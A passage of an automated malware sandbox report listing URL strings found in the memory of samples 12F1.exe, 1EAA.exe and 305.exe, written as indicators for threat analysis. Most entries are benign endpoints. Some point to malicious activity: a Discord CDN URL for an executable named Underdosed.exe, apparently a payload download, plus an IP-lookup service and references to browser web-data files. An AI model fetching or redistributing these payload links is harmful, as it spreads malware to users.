Source: 12F1.exe, 00000009.00000002.974724568.0000000003231000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.978366259.00000000035BF000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.975014024.00000000032C2000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.978687020.00000000036EC000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.959540054.00000000028C1000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.972514653.0000000002B33000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.961234629.0000000002950000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id23Response
Source: 12F1.exe, 00000009.00000002.974724568.0000000003231000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.959540054.00000000028C1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id24
Source: 12F1.exe, 00000009.00000002.974724568.0000000003231000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.959540054.00000000028C1000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.972514653.0000000002B33000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.973675321.0000000002C63000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id24Response
Source: 1EAA.exe, 00000014.00000002.961266792.0000000002954000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id2Response
Source: 12F1.exe, 00000009.00000002.974724568.0000000003231000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.959540054.00000000028C1000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.972514653.0000000002B33000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id3
Source: 12F1.exe, 00000009.00000002.974724568.0000000003231000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.959540054.00000000028C1000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.972514653.0000000002B33000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id3Response
Source: 1EAA.exe, 00000014.00000002.959540054.00000000028C1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id4
Source: 12F1.exe, 00000009.00000002.974724568.0000000003231000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id4P
Source: 12F1.exe, 00000009.00000002.974724568.0000000003231000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.975058199.00000000032C6000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.959540054.00000000028C1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id4Response
Source: 12F1.exe, 00000009.00000002.974724568.0000000003231000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.959540054.00000000028C1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id5
Source: 12F1.exe, 00000009.00000002.974724568.0000000003231000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.975058199.00000000032C6000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.959540054.00000000028C1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id5Response
Source: 12F1.exe, 00000009.00000002.974724568.0000000003231000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.959540054.00000000028C1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id6
Source: 12F1.exe, 00000009.00000002.974724568.0000000003231000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.975058199.00000000032C6000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.959540054.00000000028C1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id6Response
Source: 12F1.exe, 00000009.00000002.974724568.0000000003231000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.959540054.00000000028C1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id7
Source: 12F1.exe, 00000009.00000002.974724568.0000000003231000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.975058199.00000000032C6000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.959540054.00000000028C1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id7Response
Source: 12F1.exe, 00000009.00000002.974724568.0000000003231000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.959540054.00000000028C1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id8
Source: 12F1.exe, 00000009.00000002.974724568.0000000003231000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.975058199.00000000032C6000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.959540054.00000000028C1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id8Response
Source: 12F1.exe, 00000009.00000002.974724568.0000000003231000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.959540054.00000000028C1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id9
Source: 12F1.exe, 00000009.00000002.974724568.0000000003231000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.978458353.0000000003621000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.959540054.00000000028C1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id9Response
Source: Amcache.hve.19.dr	String found in binary or memory: http://upx.sf.net
Source: 12F1.exe, 00000009.00000002.976286050.000000000343B000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.975344152.0000000003377000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.979265997.0000000003773000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.977234985.00000000034FD000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.973928794.0000000002C95000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.961266792.0000000002954000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.964360486.0000000002A71000.00000004.00000001.sdmp	String found in binary or memory: http://www.google.com/earth/explore/products/plugin.html
Source: 12F1.exe, 00000009.00000002.976286050.000000000343B000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.975344152.0000000003377000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.978818128.00000000036FD000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.979265997.0000000003773000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.977234985.00000000034FD000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.973928794.0000000002C95000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.961266792.0000000002954000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.964360486.0000000002A71000.00000004.00000001.sdmp	String found in binary or memory: http://www.interoperabilitybridges.com/wmp-extension-for-chrome
Source: 12F1.exe.6.dr	String found in binary or memory: http://www.ncn.gov.pl/finansowanie-nauki/pomoc-publiczna
Source: 12F1.exe, 00000009.00000000.772392521.0000000000D27000.00000002.00020000.sdmp, 12F1.exe, 00000009.00000002.949620420.0000000000D27000.00000002.00020000.sdmp, 12F1.exe, 00000009.00000003.774260268.0000000002921000.00000004.00000001.sdmp, 12F1.exe.6.dr	String found in binary or memory: http://www.ncn.gov.pl/finansowanie-nauki/pomoc-publicznayX
Source: 12F1.exe.6.dr	String found in binary or memory: http://www.stat.gov.pl/cps/rde/xbcr/bip/BIP_oz_wykaz_identyfikatorow.pdf
Source: 12F1.exe, 00000009.00000000.772392521.0000000000D27000.00000002.00020000.sdmp, 12F1.exe, 00000009.00000002.949620420.0000000000D27000.00000002.00020000.sdmp, 12F1.exe, 00000009.00000003.774260268.0000000002921000.00000004.00000001.sdmp, 12F1.exe.6.dr	String found in binary or memory: http://www.stat.gov.pl/cps/rde/xbcr/bip/BIP_oz_wykaz_identyfikatorow.pdfyX
Source: 12F1.exe, 00000009.00000002.980544860.000000000381F000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.978366259.00000000035BF000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.978236166.00000000035A9000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.979046859.000000000375D000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.990127362.000000000471C000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.986155603.0000000003835000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.976286050.000000000343B000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.975344152.0000000003377000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.987830142.0000000004323000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.987221827.00000000042B2000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.977009198.00000000034E7000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.975058199.00000000032C6000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.978818128.00000000036FD000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.988391512.00000000043D5000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.979265997.0000000003773000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.976120725.0000000003425000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.990329619.000000000478D000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.977234985.00000000034FD000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.972315396.0000000002B1D000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.961521514.0000000002A5B000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.973928794.0000000002C95000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.975235454.0000000003942000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.974497889.0000000002D14000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.961266792.0000000002954000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.975544789.00000000039B3000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.974600365.0000000002D2A000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.972514653.0000000002B33000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.964360486.0000000002A71000.00000004.00000001.sdmp, 305.exe, 00000016.00000003.849942503.0000000000BB3000.00000004.00000001.sdmp, default_webdata.db.22.dr, default_webdata.db0.22.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: 12F1.exe, 00000009.00000002.974724568.0000000003231000.00000004.00000001.sdmp, 1EAA.exe, 0000000A.00000002.845557160.000000000434F000.00000004.00000001.sdmp, 1EAA.exe, 0000000A.00000002.847931111.0000000004503000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000000.830171711.0000000000402000.00000040.00000001.sdmp, 1EAA.exe, 00000014.00000002.961266792.0000000002954000.00000004.00000001.sdmp	String found in binary or memory: https://api.ip.sb/ip
Source: 1EAA.exe, 00000014.00000002.973376571.0000000002C1F000.00000004.00000001.sdmp	String found in binary or memory: https://cdn.discordapp.com
Source: 1EAA.exe, 00000014.00000002.972514653.0000000002B33000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.973376571.0000000002C1F000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.961234629.0000000002950000.00000004.00000001.sdmp	String found in binary or memory: https://cdn.discordapp.com/attachments/914960103592054858/914986994759794738/Underdosed.exe
Source: 1EAA.exe, 00000014.00000002.973376571.0000000002C1F000.00000004.00000001.sdmp	String found in binary or memory: https://cdn.discordapp.com4hl
Source: 12F1.exe, 00000009.00000002.980544860.000000000381F000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.978366259.00000000035BF000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.978236166.00000000035A9000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.979046859.000000000375D000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.990127362.000000000471C000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.986155603.0000000003835000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.976286050.000000000343B000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.975344152.0000000003377000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.987830142.0000000004323000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.987221827.00000000042B2000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.977009198.00000000034E7000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.975058199.00000000032C6000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.978818128.00000000036FD000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.988391512.00000000043D5000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.979265997.0000000003773000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.976120725.0000000003425000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.990329619.000000000478D000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.977234985.00000000034FD000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.972315396.0000000002B1D000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.961521514.0000000002A5B000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.973928794.0000000002C95000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.975235454.0000000003942000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.974497889.0000000002D14000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.961266792.0000000002954000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.975544789.00000000039B3000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.974600365.0000000002D2A000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.972514653.0000000002B33000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.964360486.0000000002A71000.00000004.00000001.sdmp, 305.exe, 00000016.00000003.849942503.0000000000BB3000.00000004.00000001.sdmp, default_webdata.db.22.dr, default_webdata.db0.22.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: 12F1.exe, 00000009.00000000.772392521.0000000000D27000.00000002.00020000.sdmp, 12F1.exe, 00000009.00000002.949620420.0000000000D27000.00000002.00020000.sdmp, 12F1.exe, 00000009.00000003.774260268.0000000002921000.00000004.00000001.sdmp, 12F1.exe.6.dr	String found in binary or memory: https://cdn.jsdelivr.net/npm/popper.js
Source: 12F1.exe, 00000009.00000000.772392521.0000000000D27000.00000002.00020000.sdmp, 12F1.exe, 00000009.00000002.949620420.0000000000D27000.00000002.00020000.sdmp, 12F1.exe, 00000009.00000003.774260268.0000000002921000.00000004.00000001.sdmp, 12F1.exe.6.dr	String found in binary or memory: https://code.jquery.com/jquery-3.4.1.slim.min.js
Source: 12F1.exe, 00000009.00000000.772392521.0000000000D27000.00000002.00020000.sdmp, 12F1.exe, 00000009.00000002.949620420.0000000000D27000.00000002.00020000.sdmp, 12F1.exe, 00000009.00000003.774260268.0000000002921000.00000004.00000001.sdmp, 12F1.exe.6.dr	String found in binary or memory: https://connect.facebook.net/en_US/fbevents.js
Source: 1EAA.exe, 00000014.00000002.964360486.0000000002A71000.00000004.00000001.sdmp, 305.exe, 00000016.00000003.849942503.0000000000BB3000.00000004.00000001.sdmp, default_webdata.db.22.dr, default_webdata.db0.22.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: 12F1.exe, 00000009.00000002.980544860.000000000381F000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.978366259.00000000035BF000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.978236166.00000000035A9000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.979046859.000000000375D000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.986155603.0000000003835000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.976286050.000000000343B000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.975344152.0000000003377000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.987830142.0000000004323000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.987221827.00000000042B2000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.977009198.00000000034E7000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.975058199.00000000032C6000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.978818128.00000000036FD000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.988391512.00000000043D5000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.979265997.0000000003773000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.976120725.0000000003425000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.990329619.000000000478D000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.977234985.00000000034FD000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.972315396.0000000002B1D000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.961521514.0000000002A5B000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.973928794.0000000002C95000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.974497889.0000000002D14000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.961266792.0000000002954000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.975544789.00000000039B3000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.974600365.0000000002D2A000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.972514653.0000000002B33000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.964360486.0000000002A71000.00000004.00000001.sdmp, 305.exe, 00000016.00000003.849942503.0000000000BB3000.00000004.00000001.sdmp, default_webdata.db.22.dr, default_webdata.db0.22.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: 1EAA.exe, 00000014.00000002.975235454.0000000003942000.00000004.00000001.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtabH
Source: 12F1.exe, 00000009.00000002.990127362.000000000471C000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.986155603.0000000003835000.00000004.00000001.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtabP
Source: 12F1.exe, 00000009.00000002.978366259.00000000035BF000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.976286050.000000000343B000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.975344152.0000000003377000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.979265997.0000000003773000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.977234985.00000000034FD000.00000004.00000001.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtabPa
Source: 12F1.exe, 00000009.00000002.975058199.00000000032C6000.00000004.00000001.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtabW
Source: 12F1.exe, 00000009.00000002.975058199.00000000032C6000.00000004.00000001.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtabWbP
Source: 12F1.exe, 00000009.00000002.975058199.00000000032C6000.00000004.00000001.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtabanP
Source: 1EAA.exe, 00000014.00000002.974600365.0000000002D2A000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.972514653.0000000002B33000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.964360486.0000000002A71000.00000004.00000001.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtabt
Source: 1EAA.exe, 00000014.00000002.964360486.0000000002A71000.00000004.00000001.sdmp, 305.exe, 00000016.00000003.849942503.0000000000BB3000.00000004.00000001.sdmp, default_webdata.db.22.dr, default_webdata.db0.22.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: 12F1.exe, 00000009.00000002.976286050.000000000343B000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.975344152.0000000003377000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.979265997.0000000003773000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.977234985.00000000034FD000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.973928794.0000000002C95000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.961266792.0000000002954000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.964360486.0000000002A71000.00000004.00000001.sdmp	String found in binary or memory: https://get.adob
Source: 12F1.exe, 00000009.00000002.976286050.000000000343B000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.975344152.0000000003377000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.979265997.0000000003773000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.977234985.00000000034FD000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.973928794.0000000002C95000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.961266792.0000000002954000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.964360486.0000000002A71000.00000004.00000001.sdmp	String found in binary or memory: https://helpx.ad
Source: 12F1.exe, 00000009.00000002.980544860.000000000381F000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.978366259.00000000035BF000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.978236166.00000000035A9000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.979046859.000000000375D000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.990127362.000000000471C000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.986155603.0000000003835000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.976286050.000000000343B000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.975344152.0000000003377000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.987830142.0000000004323000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.987221827.00000000042B2000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.977009198.00000000034E7000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.975058199.00000000032C6000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.978818128.00000000036FD000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.988391512.00000000043D5000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.979265997.0000000003773000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.976120725.0000000003425000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.990329619.000000000478D000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.977234985.00000000034FD000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.972315396.0000000002B1D000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.961521514.0000000002A5B000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.973928794.0000000002C95000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.975235454.0000000003942000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.974497889.0000000002D14000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.961266792.0000000002954000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.975544789.00000000039B3000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.974600365.0000000002D2A000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.972514653.0000000002B33000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.964360486.0000000002A71000.00000004.00000001.sdmp, 305.exe, 00000016.00000003.849942503.0000000000BB3000.00000004.00000001.sdmp, default_webdata.db.22.dr, default_webdata.db0.22.dr	String found in binary or memory: https://search.yahoo.com/favicon.icohttps://search.yahoo.com/search
Source: 12F1.exe, 00000009.00000002.980544860.000000000381F000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.978366259.00000000035BF000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.978236166.00000000035A9000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.979046859.000000000375D000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.990127362.000000000471C000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.986155603.0000000003835000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.976286050.000000000343B000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.975344152.0000000003377000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.987830142.0000000004323000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.987221827.00000000042B2000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.977009198.00000000034E7000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.975058199.00000000032C6000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.978818128.00000000036FD000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.988391512.00000000043D5000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.979265997.0000000003773000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.976120725.0000000003425000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.990329619.000000000478D000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.977234985.00000000034FD000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.972315396.0000000002B1D000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.961521514.0000000002A5B000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.973928794.0000000002C95000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.975235454.0000000003942000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.974497889.0000000002D14000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.961266792.0000000002954000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.975544789.00000000039B3000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.974600365.0000000002D2A000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.972514653.0000000002B33000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.964360486.0000000002A71000.00000004.00000001.sdmp, 305.exe, 00000016.00000003.849942503.0000000000BB3000.00000004.00000001.sdmp, default_webdata.db.22.dr, default_webdata.db0.22.dr	String found in binary or memory: https://search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: 12F1.exe, 00000009.00000000.772392521.0000000000D27000.00000002.00020000.sdmp, 12F1.exe, 00000009.00000002.949620420.0000000000D27000.00000002.00020000.sdmp, 12F1.exe, 00000009.00000003.774260268.0000000002921000.00000004.00000001.sdmp, 12F1.exe.6.dr	String found in binary or memory: https://socfinder.site
Source: 12F1.exe, 00000009.00000000.772392521.0000000000D27000.00000002.00020000.sdmp, 12F1.exe, 00000009.00000002.949620420.0000000000D27000.00000002.00020000.sdmp, 12F1.exe, 00000009.00000003.774260268.0000000002921000.00000004.00000001.sdmp, 12F1.exe.6.dr	String found in binary or memory: https://socfinder.site/
Source: 12F1.exe, 00000009.00000000.772392521.0000000000D27000.00000002.00020000.sdmp, 12F1.exe, 00000009.00000002.949620420.0000000000D27000.00000002.00020000.sdmp, 12F1.exe, 00000009.00000003.774260268.0000000002921000.00000004.00000001.sdmp, 12F1.exe.6.dr	String found in binary or memory: https://stackpath.bootstrapcdn.com/bootstrap/4.4.1/js/bootstrap.min.js
Source: 1EAA.exe, 00000014.00000002.964360486.0000000002A71000.00000004.00000001.sdmp	String found in binary or memory: https://support.google.com/chrome/?p=plugin_divx
Source: 1EAA.exe, 00000014.00000002.964360486.0000000002A71000.00000004.00000001.sdmp	String found in binary or memory: https://support.google.com/chrome/?p=plugin_flash
Source: 12F1.exe, 00000009.00000002.976286050.000000000343B000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.975344152.0000000003377000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.979265997.0000000003773000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.977234985.00000000034FD000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.973928794.0000000002C95000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.961266792.0000000002954000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.964360486.0000000002A71000.00000004.00000001.sdmp	String found in binary or memory: https://support.google.com/chrome/?p=plugin_java
Source: 12F1.exe, 00000009.00000002.976286050.000000000343B000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.975344152.0000000003377000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.979265997.0000000003773000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.977234985.00000000034FD000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.973928794.0000000002C95000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.961266792.0000000002954000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.964360486.0000000002A71000.00000004.00000001.sdmp	String found in binary or memory: https://support.google.com/chrome/?p=plugin_pdf
Source: 12F1.exe, 00000009.00000002.976286050.000000000343B000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.975344152.0000000003377000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.979265997.0000000003773000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.977234985.00000000034FD000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.973928794.0000000002C95000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.961266792.0000000002954000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.964360486.0000000002A71000.00000004.00000001.sdmp	String found in binary or memory: https://support.google.com/chrome/?p=plugin_quicktime
